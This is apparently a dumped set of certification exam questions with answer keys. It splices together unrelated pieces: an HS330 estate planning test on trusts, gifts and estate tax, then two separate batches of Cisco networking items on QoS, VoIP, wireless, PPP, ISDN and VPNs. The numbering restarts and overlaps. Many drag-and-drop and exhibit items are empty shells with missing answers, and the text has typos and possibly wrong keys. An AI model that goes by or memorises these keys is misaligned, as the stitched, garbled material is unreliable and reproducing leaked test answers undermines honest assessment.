Author: newcertskey
Question: 31
Which of the following statements concerning revocable trusts is correct?
A – The transfer of properly to a revocable trust is typically motivated by non tax reasons.
B – A transfer of property to a revocable trust is treated as a completed gift.
C – A transfer of income-producing properly to a revocable trust will result in favorable income tax
Exam Name: Fundamentals of Estate Planning test
Exam Type: American College
Exam Code: HS330 Total Questions: 400
treatment for the grantor. D – Property of a revocable trust will be included in the grantor’s probate property.
Answer: A
Question: 32
A man recently died with only probate assets. Under the terms of his will, he left his entire probate estate out right to his wife. The following are relevant facts concerning the estate:
Gross estate $2,400,000 Estate administration expenses 85,000 Debts of decedent 100,000 Allowable funeral expenses 10,000
The amount of the allowable marital deduction is
A – $2,205,000 B – $2,215,000 C – $2,305,000 D – $2,315,000
Answer: A
Question: 33
A wife makes outright gifts of $40,000 to her son this year, and her husband agrees to split the gifts with her. Which of the following correctly states the amount of the taxable gifts?
A – Wife 0, husband $18,000 B – Wife $9,000, husband $9,000 C – Wife$19,000, husband$19,000 D – Wife $18,000, husband 0
Answer: B
Question: 34
A woman is the income beneficiary of an irrevocable trust. Which of the following powers given to her will cause all the assets in the trust to be includible in her gross estate for federal estate tax purposes?
A – The testamentary power to direct the trustee to use trust assets to pay her estate taxes B – The power to direct the trustee to pay trust assets to her limited in amount to an ascertainable standard relating to her health and education C – The power each year to direct the trustee to pay her an amount of trust assets not exceeding the greater of $5,000 or 5 percent of the assets held by the trust D – The testamentary special or limited power to direct the trustee to distribute trust assets to her children
Answer: A
Question: 35
A single man with substantial assets and income is supporting his 80-year-old partially senile mother with monthly cash gifts. He is trying to find a practical way to support his mother while at the same time saving federal gift and income taxes without giving up ultimate control of any assets. Which of the following courses of action will best accomplish these objectives?
Exam Name: Fundamentals of Estate Planning test
Exam Type: American College
Exam Code: HS330 Total Questions: 400
A – Make her an interest free loan with a principal amount large enough to produce sufficient income for her support when invested in corporate bonds B – Make her annual gifts of enough interest income from the tax free municipal bonds in his portfolio so that she will be able to support herself C – Make her a gift of enough corporate bonds from his port folio so that she will be able to support herself from the interest payments D – Purchase corporate bonds that pay interest in an amount sufficient for her to support herself and assign the interest payments to her
Answer: B
Question: 36
An individual who is a resident of State W is also the sole proprietor of a business located in State
W. He owns real property located in State X that is used by the proprietorship. While on vacation in State Y, the individual meets an untimely death. Under the terms of his will, his entire estate is bequeathed to a resident of State Z. Which state will tax the real property used by the proprietorship?
A – State W B – State X C – State Y D – State Z
Answer: B
Question: 37
Which of the following life insurance settlement options will qualify for the federal estate tax marital deduction?
l. Proceeds left to the surviving spouse under the interest option, with interest payable to the surviving spouse who has the unrestricted right to withdraw proceeds and with any proceeds not withdrawn payable equally to her children per stripes
ll. Proceeds left to the surviving spouse under an installment option, with any installments remaining at her death to be commuted and paid to her estate
A – l only B – II only C – Both l and ll D – Neither l nor ll
Answer: C
Question: 38
Which of the following statements concerning a power of appointment is (are) correct?
l. A power of appointment can be designed to restrict the donee’s right to appoint the property in favor of a specific class of recipients.
ll. A power of appointment can be designed to restrict the time period during which the donee may exercise the power.
A – l only B – II only C – Both l and II D – Neither I nor II
Exam Name: Fundamentals of Estate Planning test
Exam Type: American College
Exam Code: HS330 Total Questions: 400
Answer: C
Question: 39
Which of the following statements concerning ante nuptial agreements is (are) correct?
l. They are frequently used to protect the interests of children of former marriages.
II. They can legally deprive a surviving spouse of his or her elective share of a deceased spouse’s estate.
A – l only B – II only C – Both l and ll D – Neither I nor II
Answer: C
Question: 40
Which of the following statements concerning the joint tenancy with right of survivorship form of real property ownership is (are) correct?
l. The property is part of the probate estate of the first tenant to die.
ll. An owner can sell his interest in the property at any time without destroying the form of ownership.
A – l only B – II only C – Both l and ll D – Neither I nor II
Answer: D
Question: 41
A number of states have passed statutes governing “living wills.” Which of the following statements concerning a living will is (are) correct?
l. A living will is an alternative to an inter vivos trust under certain circumstances.
ll. A living will is an oral will made by the testator during a final illness when it is impossible to write one.
A – l only B – II only C – Both l and ll D – Neither I nor Il
Answer: D
Question: 42
Which of the following actions on the part of a trustee is (are) a breach of his duties?
I. Placing substantial amounts of cash from the sale of securities in a no interest bearing checking account for a period of years
Exam Name: Fundamentals of Estate Planning test
Exam Type: American College
Exam Code: HS330 Total Questions: 400
II. Investing all trust assets in securities that favor income beneficiaries to the detriment of remainder persons
A – l only B – II only C – Both l and ll D – Neither I nor II
Answer: C
Question: 43
Which of the following are ways of passing property from a deceased spouse to a surviving spouse so that the properly will qualify for the federal estate tax marital deduction?
I. When the surviving spouse receives the property by electing to take against the deceased spouse’s will
ll. When the surviving spouse receives the property as a consequence of the qualified disclaimer of another beneficiary
A – l only B – II only C – Both l and ll D – Neither I nor II
Answer: C
Question: 44
Which of the following statements concerning wills is (are) correct?
l. A will should be reviewed periodically to assure that the property owner’s most recent intentions are honored at death.
ll. Once signed, a will’s provisions may not be changed without the consent of all the beneficiaries under the will.
A – l only B – II only C – Both l and ll D – Neither I nor II
Answer: A
Question: 45
Which of the following statements concerning the generation-skipping transfer tax (GSTT) is (are) correct?
I. An annual exclusion against GSTT will shelter gifts by a grandparent to a trust benefiting multiple grandchildren.
II. Tuition payments made directly by a grandparent to a university for a grandchild’s education
are exempt from GSTT.
Exam Name: Fundamentals of Estate Planning test
Exam Type: American College
Exam Code: HS330 Total Questions: 400
A – l only B – II only C – Both land ll D – Neither I nor II
Answer: B
Question: 46
In which of the following situations will the grantor be taxed on income from trust property.
l. The grantor of a trust gives one of the trust beneficiaries the right to add or delete beneficiaries.
ll. An adverse party to the grantor holds the power to determine the timing to trust distributions to the beneficiaries.
A – l only B – II only C – Both l and ll D – Neither I nor II
Answer: D
Question: 47
Which of the following statements concerning a grantor-retained annuity trust (GRAT) is (are) correct?
l. The grantor is taxed on trust income during the retained term.
II. The grantor makes an irrevocable transfer to the remainder person(s) when the trust is created.
A – I only B – II only C – Both I and lI D – Neither I nor II
Answer: C
Question: 48
Alan, a widower, is a retired executive with substantial assets. He wishes to provide for the financial security of his two grandchildren since their father, Alan’s son, has always managed money poorly. This year Alan would like each grandchild to receive a substantial gift. Which of the following statements concerning the generation-skipping transfer tax (GSTT) on these gifts is (are) correct?
I. Federal estate or gift tax will not be imposed if the gift is otherwise subject to the GSTT.
II. Assuming no prior gifts, Alan can gift a cumulative total of (not including the annual exclusion) $1.5 million to his grandchildren without the imposition of the GSTT.
A – l only B – II only C – Both l and ll D – Neither l nor ll
Exam Name: Fundamentals of Estate Planning test
Exam Type: American College
Exam Code: HS330 Total Questions: 400
Answer: B
Question: 49
Which of the following statements concerning filing the federal estate tax return is (are) correct?
l. The estate tax return must be filed within 9 months of death unless an extension is granted by the IRS.
ll. For persons dying this year. an estate tax return must be filed for gross estates plus adjusted taxable gifts that exceed $1.5 million.
A – l only B – II only C – Both l and II D – Neither l nor ll
Answer: C
Question: 50
Which of the following statements concerning the gift or estate tax charitable deduction is (are) correct?
l. A donor is denied a charitable deduction for property that passes to a qualified charity as the result of a qualified disclaimer if the donor original transfer was to a no charitable donee.
ll. A decedent-spouse estate may obtain both marital and charitable deductions for interests contributed to a charitable remainder trust when the surviving spouse is the only no charitable income beneficiary for life.
A – l only B – II only C – Both l and ll D – Neither I nor II
Answer: B
Question: 51
Which of the following statements concerning pooled-income funds are correct?
l. The fund contains commingled donations from many sources.
ll. A decedent donation purchases units in the fund which generate income that is paid at least annually to a charity.
A – l only B – II only C – Both l and ll D – Neither I nor II
Answer: A
Question: 52
Which of the following factors is (are) used to make a choice between having an entity-purchase or cross-purchase partnership buy-sell agreement?
Exam Name: Fundamentals of Estate Planning test
Exam Type: American College
Exam Code: HS330 Total Questions: 400
I. The cost basis of the partner’s business interests.
ll. The amount of the partner’s individual personal net worth’s
A – l only B – II only C – Both l and II D – Neither l nor lI
Answer: A
Question: 53
Which of the following transfers will be successful in removing property from a grantor’s gross estate?
l. A grantor’s transfer of property to a revocable trust if the grantor lives three years after the transfer.
ll. A grantor’s transfer of a personal residence to a qualified personal residence trust if the grantor survives the retained interest term.
A – l only B – II only C – Both l and ll D – Neither I nor II
Answer: B
Question: 54
Which of the following statements concerning marital transfers to a non-U.S. citizen spouse is (are) correct?
l. A marital deduction is automatically available as long as property is transferred outright to the non-citizen spouse.
Il .A marital deduction is automatically available if the transferor-decedent spouse is a U. S. citizen.
A – l only B – II only C – Both l and ll D – Neither l nor ll
Answer: D
Question: 55
Which of the following statements concerning the inclusion in a decedent-employee’s gross estate of a lump-sum distribution from a qualified retirement plan to a beneficiary other than the employee’s estate is (are) correct?
l. Lump-sum distributions of payments attributable to the employer’s contributions are excluded from the gross estate.
ll. Lump-sum distributions of payments attributable to the decedent-employee’s contributions are excluded from the gross estate.
Exam Name: Fundamentals of Estate Planning test
Exam Type: American College
Exam Code: HS330 Total Questions: 400
A – l only B – II only C – Both l and II D – Neither I nor II
Answer: D
Question: 56
John plans to transfer his life insurance policy to an irrevocable trust for the benefit of his 19-year-old daughter, Jane. Which of the following conditions will enable the gift to qualify for the annual exclusion?
l. Jane is the irrevocable beneficiary of the life insurance trust but cannot withdraw from the trust until the death benefits are paid.
ll. Jane is given “Crummey” demand powers permitting the withdrawal at her discretion of the annual additions to the trust.
A – l only B – II only C – Both l and ll D – Neither I nor II
Answer: B
Question: 57
Which of the following statements concerning the taxation of estates and trusts is (are) correct?
l. They are taxed similarly to partnership entities.
II. They are taxed on distributable net income (DNI) that is retained.
A – only B – II only C – Both l and lI D – Neither I nor II
Answer: B
Question: 58
Which of the following statements concerning pooled-income funds is (are) correct?
l. A pooled income fund is similar to a mutual fund maintained by a qualified charity.
ll. lt is an irrevocable arrangement in which the remainder interest passes to charity.
A – l only B – II only C – Both l and ll D – Neither l nor ll
Answer: C Question: 59
Exam Name: Fundamentals of Estate Planning test
Exam Type: American College
Exam Code: HS330 Total Questions: 400
Which of the following statements concerning ownership of property in the form of a joint tenancy with right of survivorship is (are) correct?
I. Either real or personal property may be owned as a joint tenancy with right of survivorship.
Il. Nonqualified joint tenants with right of survivorship may have unequal separate shares of the property.
A – l only B – II only C – Both I and ll D – Neither I nor II
Answer: A
Question: 60
Which of the following statements concerning the methods of valuing a closely held business for federal estate tax purposes is (are) correct?
l. The capitalization-of-adjusted-earnings method uses a capitalization rate that varies inversely with the degree of risk and rate of return.
II. The adjusted-book value method involves adjusting the asset components of a business to an approximate fair market value for each component.
A – l only B – II only C – Both l and ll D – Neither I nor II
Answer: C
Question: 61
Which of the following statements concerning guardians is (are) correct?
l. A guardian is appointed by a court.
Il. A guardian holds equitable title to the property he administers for his or her ward.
A – l only B – II only C – Both l and ll D – Neither I nor II
Answer: A
Question: 62
Which of the following types of partial interests in property may be allowed a charitable deduction for estate tax purposes?
l. A remainder interest in the donor vacation home
ll. A testamentary gift of a percentage of a decedent entire interest in property held in trust
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QUESTION 131
When QoS levels in the Cisco Wireless Control System (WCS) are entered, which profile names are used to identify the access categories?
A. platinum, gold, silver, and bronze
B. voice, gold, silver, and bronze
C. low delay, network critical, business, best effort
D. voice, video, background gold, background silver, and best effort
E. voice, video, best effort, and background F. voice, video, best effort, background, and scavenger
Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 132
Refer to the exhibit. Which two statements are correct about the implementation of QoS across the WANs that are shown? (Choose two.)
A. QoS cannot be maintained across WAN A.
B. The service provider is not involved in providing QoS services in WAN A.
C. The service provider can provide QoS services through the cloud in WAN A.
D. QoS cannot be maintained across WAN B
E. The service provider is not involved in providing QoS services in WAN B.
F. The service provider can provide QoS services through the cloud in WAN B.
Correct Answer: BF Section: (none) Explanation
Explanation/Reference:
QUESTION 133
Refer to the exhibit. The network in the diagram has contracted with a service provider for the QoS levels that are shown. Which statement is correct about the QoS requirements for the campus and remote branch?
A. Because adequate levels of service are provided across the WAN, campus and remote branch QoS will not be required.
B. The enterprise campus can allow no more than 90 ms of delay, 10 ms of jitter, and 0.5% loss to maintain adequate levels of QoS for voice.
C. The enterprise remote branch can allow no more than 90 ms of delay, 10 ms of jitter, and 0.5% loss to maintain adequate levels of QoS for voice.
D. The enterprise campus plus the remote branch can allow no more than 90 ms of delay, 10 ms of jitter, and 0.5% loss to maintain adequate levels of QoS for voice.
Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 134
Which of the items stated is typically the most expensive method of improving QoS across WAN links?
A. advanced queuing
B. data compression
C. header compression
D. increasing link capacity
Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 135
Which three functions can an Integrated Services Router perform in a VoIP network? (Choose three.)
A. voice stream mixing for conference calling
B. voice gateway
C. call admission control
D. analog or digital phone interfaces
E. XML application services
F. large scale dial plan application
Correct Answer: BCD Section: (none) Explanation
Explanation/Reference:
QUESTION 136
Using the fewest commands possible, drag the commands on the left to the blanks on the right to configure and apply a QoS policy that guarantees that voice packets receive 20 percent of the bandwidth on the S0/1/0 interface.
Answer
A.
Correct Answer: A Section: (none) Explanation Explanation/Reference:
QUESTION 137
To configure Control Plan Policing(CoPP) to deny Telnet access only from 10.1.1.1, drag the commands on the left to the boxes on the right and place the commands in the proper order.
Answer
A.
Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 138
Drag each descriptor on the left to the QoS model on the right to which the descriptor applies. Not all descriptors apply.
Answer
A.
Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 139
Drag the wireless 802.1e priority level groupings on the left to the appropriate Wi-Fi Multimedia(WMM) access categories on the right.(Not all groupings will be used) Answer
A.
B.
C.
D.
Correct Answer: Section: (none) Explanation
Explanation/Reference:
QUESTION 140
Drag each term on the left to its time definition on the right. There will be one term unused.
A.
Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 141
Add a new wireless LAN controller (WLC) to the WCS wireless management server. From the left, drag each procedure to its step sequence on the right.
Answer A.
Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 142
Drag each wireless EAP authentication protocol above to its definition below.
Answer A.
Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 143
Drag each WLSE feature above to its benefit below.
Answer: A.
Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 144
Drag Drop Drag the steps required to convert compressed digital signals to analog signals to their correct order on the right.
Answer
A.
Correct Answer: A Section: (none) Explanation
Explanation/Reference: QUESTION 145
Exhibit:
Answer:
A.
Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 146
Hotspot Answer:
A.
Correct Answer: A Section: (none) Explanation
Explanation/Reference:
Questions:162 Topology
QUESTION 147
Which three characteristics of the traffic flow are taken into consideration when the QoS-for-VPNs feature (QoS pre-classify) provides packet classification and applies appropriate QoS service on tunnel interfaces? (Choose three.)
A. IP precedence bits
B. DSCP bits
C. Original port numbers
D. DE bits
E. Source IP address
F. Destination IP address
Correct Answer: CEF Section: (none) Explanation
Explanation/Reference:
QUESTION 148
Which two statements about Cisco AutoQoS are true? (Choose two.)
A. A QoS service policy must already be enabled on the interface before Cisco AutoQoS can be enabled.
B. Any interface at or below 1.54 Mbps is classified as a low-speed interface.
C. AutoQoS uses Cisco network-based application recognition (NBAR) to identify various applications and traffic types
D. Cisco Express Forwarding (CEF) must be enabled at the interface or ATM PVC.
E. Cisco NBAR is a prerequisite for CEF.
F. On a serial interface, before AutoQoS is enabled, the clock rate command must be used to specify a bandwidth other than the default 1.54Mbps.
Correct Answer: CD Section: (none) Explanation
Explanation/Reference: QUESTION 149
When a router converts analog signals to digital signals as part of the VoIP process, it performs
four steps.
Which set of steps contains the steps in their correct sequence?
A. encoding optional compression quantization sampling
B. encoding quantization optional compression sampling
C. optional compression encoding sampling quantization
D. optional compression sampling encoding quantization
E. sampling quantization encoding optional compression
F. sampling quantization optional compression encoding
Correct Answer: E Section: (none) Explanation
Explanation/Reference:
QUESTION 150
Question: 150
What are three staid Extensible Authentication Protocol (EAP) types? (Choose three.)
A. LEAP
B. EAP-FAST
C. EAP-TLS
D. EAP-AES
E. WEAP
F. WEP
Correct Answer: ABC Section: (none) Explanation
Explanation/Reference:
QUESTION 151
What are three benefits of the Wireless LAN Solution Engine (WLSE)? (Choose three.)
A. The decentralized nature of WLSE helps reduce the time and resources that are required to manage a large number of WLAN devices.
B. WLSE helps simplify large-scale deployments by providing automatic configuration of new APs.
C. WLSE minimizes security vulnerabilities by providing security policy misconfiguration alerts and rogue AP detection.
D. WLSE provides AP utilization and client association reports, features which help with capacity planning.
E. WLSE can respond to required changes that are requested by APs.
F. WLSE increases productivity through customization with three possible levels of managemen lightweight, extended, and advanced.
Correct Answer: BCD Section: (none) Explanation
Explanation/Reference:
QUESTION 152
What is link fragmentation and interleaving (LFI)?
A. LFI is a QoS mechanism that allots bandwidth and enables the differentiation of traffic according to a policy.
B. LFI is a Layer 2 technique in which header information is sent only at the beginning of the session, stored in a dictionary, and then referenced in later packets by a short dictionary index.
C. LFI is a Layer 3 technique in which header information is sent only at the beginning of the session, stored in a dictionary, and then referenced in later packets by a short dictionary index.
D. LFI is a Layer 2 technique in which large frames are broken into small, equal-sized fragments and transmitted over the link in an interleaved fashion.
E. LEI is a Layer 2 technique in which smaller fragments are combined into large, equal-sized frames, and transmitted over the link in an interleaved fashion.
Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 153
Which two statements about packet marking at the data link layer are true? (Choose two.)
A. Through the use of DE markings, Frame Relay QoS supports up to 10 classes of service.
B. Frames maintain their class of service (CoS) markings when transiting a non-802.1p link.
C. IEEE 802.1p supports up to 10 class of service (CoS) markings.
D. In an 802.1q frame, the 3-bit 802.1p priority field is used to identify the class of service (CoS) priority.
E. The 802.1p CoS markings are preserved through the LAN, but are not maintained end to end.
Correct Answer: DE Section: (none) Explanation
Explanation/Reference:
QUESTION 154
Which two wireless security statements are true? (Choose two.)
A. A TACACS+ server is required to implement 802.1x.
B. MIC protects against man-in-the-middle and replay attacks.
C. The 802.1x standard provides encryption services for wireless clients.
D. The AES (symmetric block cipher) is specified in the IEEE 802.11i specification.
E. The IEEE 802.11i specification uses RC4 as its encryption mechanism.
F. WPA requires TKIP and AES as encryption methods.
Correct Answer: BD Section: (none) Explanation
Explanation/Reference:
QUESTION 155
Which two statements are true about traffic shaping and traffic policing? (Choose two.)
A. Both traffic shaping and traffic policing cause retransmissions of connection-oriented protocols such as TCP.
B. Both traffic shaping and traffic policing support the marking and re-marking of traffic.
C. The effects of traffic shaping and traffic policing when configured on a router are applied to outgoing traffic.
D. Traffic shaping queues excess traffic whereas traffic policing discards excess traffic.
E. Traffic shaping allows the traffic to exceed the bit rate whereas traffic policing prevents the traffic from exceeding the bit rate.
Correct Answer: CD Section: (none) Explanation
Explanation/Reference:
QUESTION 156
Which two queuing methods will allow a percentage of the available bandwidth to be allocated to each queue? (Choose two.)
A. First-in, first-out queuing (FIFO)
B. Priority queuing (PQ)
C. Custom queuing (CQ)
D. Weighted fair queuing (WFQ)
E. Class-based WFQ (CBWFQ)
F. Low latency queuing (LLQ)
Correct Answer: EF Section: (none) Explanation
Explanation/Reference:
QUESTION 157
Which classification tool can be used to classify traffic based on the HTTP URL?
A. Class-based policing
B. Policy-based routing (PBR)
C. Committed access rate (CAR)
D. Network-based application recognition (NBAR)
E. Dial peers
Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 158
What three types of interfaces do voice gateways use to connect to analog interfaces? (Choose three.)
A. E and M
B. E1 CCS
C. FXS
D. FXO
E. serial
F. T1 CAS
Correct Answer: ACD Section: (none) Explanation
Explanation/Reference:
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QUESTION 141
When a PPP connection is being established, which three configuration features are negotiated through the LCP? (Choose three.)
A. callback
B. multilink
C. encryption
D. compression
E. protocol multiplexing
Correct Answer: ABD Section: (none) Explanation
Explanation/Reference:
QUESTION 142
A corporation is currently running a Frame Relay network in a hub and spoke topology. To ease the WAN bandwidth bottleneck, the company would like to configure compression in an effort to optimize WAN links. The corporation does use multiple protocols and other applications that require that the IP header remains intact. Which type of compression should this corporation use?
A. link compression
B. payload compression
C. TCP/IP header compression
D. MPPC
Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 143
Instead of purchasing dedicated router ports, a company wants to reduce costs by allowing any one of the available physical BRI interfaces on a central site router to dial out to remote branch offices.
Which two commands provide this capability? (Choose two.)
A. dialer-group
B. multilink ppp
C. interface dialer
D. dialer hunt-group
E. dialer rotary-group
Correct Answer: CE Section: (none) Explanation
Explanation/Reference:
QUESTION 144
Which command displays the remote network addresses associated with each PVC?
A. show ip route
B. show frame-relay lmi
C. show frame-relay map
D. show frame-relay pvc
E. show frame-relay status
Correct Answer: C Section: (none) Explanation
Explanation/Reference:
QUESTION 145
Refer to exhibit. Notice the partial show running-config output on R1. R1 is connected with a multipoint subinterface over the Frame Relay to the spoke routers R2 and R3. The ISDN interface is configured to provide a back-up link should the primary connection to R2 fail.
However, when the PVC to R2 drops, the BRI interface remains in “standby” mode and does not bring up the back-up link. What could the problem be?
A. The EIGRP updates are configured as noninteresting traffic
B. The backup command is configured under the S0.1 multipoint interface of R1
C. The R1 S0 interface remains up because of the active PVC between R1 and R3.
D. The R1 S0.1 interface remains up because of the active PVC between R1 and R3.
Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 146
Which set of commands will accomplish the tasks below?
-Make bri0/0 a backup interface to serial0/0.
–
Activate the backup interface 5 seconds after the primary link fails and deactivate the backup interface 10 seconds after the primary link is re-established.
A.
Router(config)#interface bri 0/0 Router(config-if)#backup interface serial 0/0 Router(config-if)#backup delay 5 10
B.
Router(config)#interface serial 0/0 Router(config-if)#backup interface bri 0/0 Router(config-if)#backup delay 5 10
C.
Router(config)#interface bri 0/0 Router(config-if)#backup interface serial 0/0 Router(config-if)#backup delay 10 5
D.
Router(config)#interface serial 0/0 Router(config-if)#backup interface bri 0/0 Router(config-if)#backup delay 10 5
Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 147
Which field is defined in the PPP format that allows PPP to dynamically negotiate link options?
A. address
B. control
C. protocol
D. flag
Correct Answer: C Section: (none) Explanation
Explanation/Reference:
QUESTION 148
An administrator is attempting to configure TACACS+ AAA authentication for privileged EXEC mode access. The current configuration is as follows:
RTB(config)# tacacs-server host 192.168.1.23 RTB(config)# tacacs-server key CISCO RTB(config)# aaa new-model RTB(config)# aaa authentication enable AAA group tacacs+ enable none
With the above configuration, what will be the result?
A. Authentication will be successful from the TACACS+ server.
B. Authentication will be successful from the local enable password.
C. Because the authentication list is not applied to any lines, authentication will not be successful.
D. Because the authentication enable command cannot used with a named list, authentication will not be successful
Correct Answer: C Section: (none) Explanation
Explanation/Reference:
QUESTION 149
Drag Drop question
A.
B.
C.
D.
Correct Answer: Section: (none) Explanation
Explanation/Reference: QUESTION 150
Drag Drop question
A.
B.
C.
D.
Correct Answer: Section: (none) Explanation
Explanation/Reference:
QUESTION 151
lab question Please refer to Question 45, but take notice you wil use the same command in this questions, but some paramters like IP address will be different.
A.
B.
C.
D.
Correct Answer: Section: (none) Explanation
Explanation/Reference:
QUESTION 152
Which two debugs should you use to find the cause of an unsuccessful PAP negotiation? (Choose two.)
A. debug ppp pap
B. debug ppp negotiation
C. debug authentication pap
D. debug ppp authentication
Correct Answer: BD Section: (none) Explanation
Explanation/Reference:
QUESTION 153
When the ISAKMP negotiation begins in IKE Phase 1 main mode, ISAKMP looks for an ISAKMP policy that is the same on both peers. Which peer is responsible for matching policies?
A. The peer that initiates the negotiation sends all its policies to the remote peer, and the remote peer tries to find a match with its policies.
B. The remote peer sends all its policies to the initiating peer, and the initiating peer tries to find a match with its policies.
C. Both peers send all their policies to the other peer, and each peer tries to find a match with its policies.
D. Both peers send all their policies to the other peer, but just the initiating peer tries to find a match with its policies.
Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 154
Which statement is true about payload compression?
A. Payload compression can be used in conjunction with link compression.
B. The payload compression algorithm uses Predictor or STAC to compress traffic into another data link layer such as PPP.
C. Payload compression is appropriate for virtual network services such as Frame Relay and ATM.
D. With payload compression the complete packet is compressed and the switching information in the header is not available.
Correct Answer: C Section: (none) Explanation
Explanation/Reference:
QUESTION 155
Drag Drop question
A.
B.
C.
D.
Correct Answer: Section: (none) Explanation
Explanation/Reference:
QUESTION 156
Given the above output, which statement is true?
A. An LMI is not being received from the Frame Relay switch.
B. The DLCI has been removed from the Frame Relay switch.
C. The remote router connection to the Frame Relay switch is not functioning
D. The router is configured to be a Frame Relay switch.
Correct Answer: C Section: (none) Explanation
Explanation/Reference:
QUESTION 157
What are three drawbacks to using RFC 1483/2684 bridging with ADSL? (Choose three.)
A. Bridging is inherently insecure and requires a trusted environment.
B. Bridging depends heavily on broadcasts in order to establish connectivity
C. Bridging requires expensive routing equipment because of the extensive Layer 3 overhead.
D. Bridging architecture may allow IP address hijacking.
E. Bridging, because of its ATM WAN configuration, can require considerable effort during initial troubleshooting.
F. Bridging architecture can be complex to install and maintain.
Correct Answer: ABD Section: (none) Explanation
Explanation/Reference:
QUESTION 158
Based on the above output, how many IKE policies were administratively defined?
A. 0
B. 1
C. 2
D. 3
E. 4
F. 5
Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 159
What two things will occur when r1 initiates a call to r2 and attempts to make a connection? (Choose two.)
A. Both routers will send a challenge.
B. Only r2 will send a challenge.
C. The r2 router will generate a hash value and send it to r1.
D. The PPP connection establishment will succeed.
E. The PPP connection establishment will fail.
Correct Answer: BE Section: (none) Explanation
Explanation/Reference:
QUESTION 160
How can an ISDN interface be used as a backup link for a primary interface and still use DDR to communicate with other sites?
A. By using dialer profiles
B. An ISDN interface cannot be both.
C. With the command backup interface serial 0/0 on the bri0/0 interface along with normal DDR commands.
D. With the command backup interface bri 0/0 on the physical interface and normal DDR commands on the bri0/0 interface.
Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 161
Observe the exhibited output from a show isdn status command. Which statement is true?
A. There were five attempts to make calls.
B. Layer 1 is not operational
C. Layer 2 is operational.
D. The router is not exchanging frames with the ISDN switch.
Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 162
Which two of the following events will occur when the router command backup load 60 5 is used? (Choose two.)
A. The backup link activates when the primary link exceeds 60 percent of bandwidth
B. The backup link activates when the primary link exceeds 60 kbps.
C. The backup link deactivates when the primary link falls to 5 percent bandwidth.
D. The backup link deactivates when the combined load falls to 5 percent bandwidth.
E. The backup link deactivates when the combined load falls to 5 kbps.
Correct Answer: AD Section: (none) Explanation
Explanation/Reference:
QUESTION 163
How is cable broadband technology able to transmit downstream and upstream data while at the same time delivering television content?
A. The cable operator uses the VHF hyperband to transmit and receive data signals.
B. The cable operator assigns any available spectrum to data, depending on how its own television spectrum is being used.
C. The cable operator uses specific bandwidths for data signals specified by DOCSIS.
D. The cable operator places its data signals into clean areas where there is no interference from noise or other signals.
Correct Answer: C Section: (none) Explanation
Explanation/Reference:
QUESTION 164
Which two commands are used to verify and troubleshoot a PPP session? (Choose two.)
A. show interfaces
B. show PPP
C. debug PPP negotiation
D. debug PPP session
E. debug ppp dialer
Correct Answer: AC Section: (none) Explanation
Explanation/Reference:
QUESTION 165
Which type of remote-user VPN has users dial in to an Internet service provider (ISP) where an ISP-owned device establishes a secure tunnel to the users’ enterprise network?
A. client initiated VPN
B. network access server (NAS) initiated VPN
C. intranet VPN
D. extranet VPN
Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 166
Which of the following statements is correct based on the Cisco router output of the show isdn status command?
Router#show isdn status Global ISDN Switchtype=basic-ni ISDN BRI0 interface dsl 0, interface ISDN Switchtype=basic-ni Layer 1 Status: ACTIVE Layer 2 Status: TEI=73, Ces=2, SAPI=0, State=TEI_ASSIGNED TEI=74, Ces=1, SAPI=0, State=TEI_ASSIGNED Layer 3 Status : 0 Active Layer 3 Call(s)
A. Layer 1, 2, and 3 status is active.
B. TEI values assigned are not a valid numbers.
C. Layers 1 and 2 status is active but Layer 3 status indicates lost connectivity.
D. Layer 1 status is active but Layer 2 status indicates lost connectivity.
Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 167
Based on the above configuration, which statement is true?
A. The backup interface will be used when traffic reaches 80 kbps on the primary interface
B. The backup interface will be disabled when the combined load on the primary and backup interfaces is less than 10%.
C. The backup interface will be disabled when the combined load on the primary and backup interfaces is less than 80 kbps.
D. The backup interface will be disabled when the load on the primary interface is less than 10%.
E. The backup interface will be disabled when the load on the primary interface is less than 80 kbps.
Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 168
When radius authentication is being configured on a router, which commands will allow a user to telnet successfully into the router?
Router(config)# radius-server host 192.168.1.23 Router(config)# radius-server key CISCO Router(config)# aaa new-model
A. Router(config)# aaa authentication login AAA group radius local none Router(config)# line vty 0 4 Router(config-line)# login authentication AAA
B. Router(config)# aaa authentication login AAA group radius local none Router(config)# line vty 0 4 Router(config-line)# login authentication CISCO
C. Router(config)# aaa authentication login default group radius local none Router(config)# line vty 0 4 Router(config-line)# login authentication AAA
D. Router(config)# aaa authentication login AAA group radius local none Router(config)# line vty 0 4 Router(config-line)# login authentication default
Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 169
Which two statements are true about the use of the backup load 65 10 command on a router? (Choose two.)
A. The secondary line will terminate when the load of the primary line drops to 10% of the bandwidth of the primary line.
B. The secondary line will terminate when the aggregate load of the primary and backup lines drops to 10% of the primary line bandwidth.
C. The secondary line will come up 10 seconds after traffic on the primary line reaches 65% of the bandwidth of the primary line
D. The secondary line will come up when the traffic on the primary line reaches 65% of the bandwidth of the primary line.
E. The backup interface will come up 65 seconds after the primary link goes down.
F. The secondary interface will terminate the connection 10 seconds after the primary link comes up.
Correct Answer: BD Section: (none) Explanation Explanation/Reference:
QUESTION 170
Refer to the exhibit. Which statement is true about the show frame-relay pvc output?
A. Traffic shaping is enabled.
